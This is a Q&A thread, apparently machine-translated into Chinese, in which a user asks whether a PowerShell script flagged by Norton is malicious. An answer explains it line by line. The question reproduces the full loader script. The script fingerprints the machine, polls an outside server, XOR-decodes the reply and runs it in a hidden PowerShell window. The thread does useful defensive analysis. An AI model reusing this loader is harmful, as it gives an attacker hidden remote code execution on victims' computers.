该脚本有害吗?

问题描述 投票:0回答:1

所以在我一天的随机时间发生了一个powershell窗口弹出并立即关闭,然后我的防病毒软件(诺顿)提醒了我。

  • 类别:入侵防御
  • 日期和时间:09/09/2023 02:29:12
  • 风险:高
  • 活动:172.64.142.7 的入侵尝试被阻止。
  • 状态:已阻止
  • 建议采取的措施:无需采取任何措施
  • IPS 警报名称:系统感染:木马.后门活动 748
  • 默认操作:无需操作
  • 已采取的行动:无需采取行动
  • 攻击计算机:172.64.142.7, 80
  • 攻击者网址:http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695
  • 目的地地址:
  • 源地址:172.64.142.7
  • 流量描述:TCP、www-http
  • 来自 http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695%5C%5C%5C 的网络流量与已知攻击的签名匹配。该攻击源自\DEVICE\HARDDISKVOLUME7\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE。要停止收到此类流量的通知,请在操作面板中单击停止通知我

所以我更改了 powershell 设置以转录每个 powershell 会话 这就是它的转录内容:

**********************

Windows PowerShell transcript start
Start time: 20230909022349
Username: \<myuser\>
RunAs User: \<myuser\>
Configuration Name:
Machine: \<mymachine\>(Microsoft Windows NT 10.0.19045.0)
Host Application: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
Process ID: 7128
PSVersion: 5.1.19041.3031
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3031
BuildVersion: 10.0.19041.3031
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1

**********************

PS\>\[Security.Cryptography.SHA256\]$sha = \[Security.Cryptography.SHA256\]::Create()
$macguid = (Get-ItemProperty (((\[regex\]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$\_.value}) -join '')) -Name MachineGuid).MachineGUID;
$userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)";
$guid = ($sha.ComputeHash(\[Text.Encoding\]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join '';
while ($true) {
try {
$r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)"
if ($r -ne '') {
$buf = \[Convert\]::FromBase64String($r);
for ($i = 0; $i -lt $buf.Length; $i++) {
$buf\[$i\] = $buf\[$i\] -bxor 22;
}
$lines = \[Text.Encoding\]::ASCII.GetString($buf).Split("`r`n");
$p = \[Diagnostics.Process\]::new();
$p.StartInfo.WindowStyle = 'Hidden';
$p.StartInfo.FileName = 'powershell.exe';
$p.StartInfo.UseShellExecute = $false;
$p.StartInfo.RedirectStandardInput = $true;
$p.StartInfo.RedirectStandardOutput = $true;
$p.Start();
$p.BeginOutputReadLine();
foreach ($line in $lines) {
$p.StandardInput.WriteLine($line);  
}
$p.StandardInput.WriteLine('');  
$p.WaitForExit();
break;
}
}
catch {
}
Start-Sleep 2
}

PS\>TerminatingError(Invoke-RestMethod): "The underlying connection was closed: An unexpected error occurred on a send." (until i terminate powershell in the task manger it would spam that error)

我会感谢任何帮助,但我主要询问有关powershell脚本的问题

解释和解决问题的帮助

powershell shell security networking
1个回答
0
投票

这绝对是看起来是恶意的——脚本正在努力不让任何人弄清楚它在做什么。

我会尽力解释每行的作用:

___

[Security.Cryptography.SHA256]$sha =[Security.Cryptography.SHA256]::Create()

创建用于哈希文本的 SHA 256 对象。这基本上是使用一个复杂的数学问题将一些文本变成一堆“随机”字符。

___

$macguid = (Get-ItemProperty ((([regex]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')) -Name MachineGuid).MachineGUID

从注册表获取计算机的 GUID(基本上是每台计算机的唯一 ID)。这是第一个表明它是恶意的,因为他们故意向后输入注册表路径 (

HKLM:SOFTWARE\Microsoft\Cryptography
) 来伪装它,并使用
RightToLeft
正则表达式将其翻转回正常状态。

___

$userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)"

获取您之前的域名、用户名、CPU(处理器)类型、CPU 数量以及您的计算机 GUID。基本上看起来像这样:

contoso.comUser1a600Intel64 Family 6 Model 166 Stepping 0, GenuineIntel6724d2b3499-75c6-9fe7-9a51-428670b3ea5e

___

$guid = ($sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join ''

获取上述所有信息,并从一开始就使用 SHA 256 对象创建一个哈希值,然后将其发送回服务器,以便他们可以解码和使用该信息。

___

while ($true) {
    try {

这将启动一个

while
循环,这意味着它将永远运行,直到脚本停止。
try
语句意味着如果任何命令在失败后运行,它将停止并且不再继续其余命令。但它仍然在 while 循环内,所以它会返回并重试。

___

$r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)"

这是大家最关心的部分。它将提取的有关您的计算机、您的用户名、域、GUID 等的信息发送到该 URL(可能是他们的服务器),然后服务器会将响应发送回您的计算机。正如您将在下面看到的,响应是另一个 PowerShell 脚本。由于我们看不到 that 脚本,我们不知道它想做什么,但我们可以假设它是恶意的。

___

if ($r -ne '') {
    $buf = [Convert]::FromBase64String($r)

如果 PowerShell 收到来自服务器的响应,它会对该响应进行解码。

___

for ($i = 0; $i -lt $buf.Length; $i++) {
    $buf[$i] = $buf[$i] -bxor 22;
}
$lines = [Text.Encoding]::ASCII.GetString($buf).Split("`r`n")

这会循环遍历响应(这是另一个 PowerShell 脚本),并进一步解码每一行以将其转换为可运行的脚本。

___

$p = [Diagnostics.Process]::new()
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.FileName = 'powershell.exe'
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardInput = $true
$p.StartInfo.RedirectStandardOutput = $true
$p.Start()
$p.BeginOutputReadLine()

他们在这里启动一个新的 PowerShell 实例并确保它是隐藏的,这样您就不会在屏幕上看到它。

___

foreach ($line in $lines) {
    $p.StandardInput.WriteLine($line)
}
$p.StandardInput.WriteLine('') 
$p.WaitForExit()

获取之前解码的 PowerShell 脚本并逐行运行它。

___

Start-Sleep 2

在重新启动之前暂停脚本 2 秒。


同样,由于我们看不到他们试图在您的计算机上运行的其他脚本,因此我们无法知道他们试图做什么,但这绝对看起来像是恶意攻击。

© www.soinside.com 2019 - 2024. All rights reserved.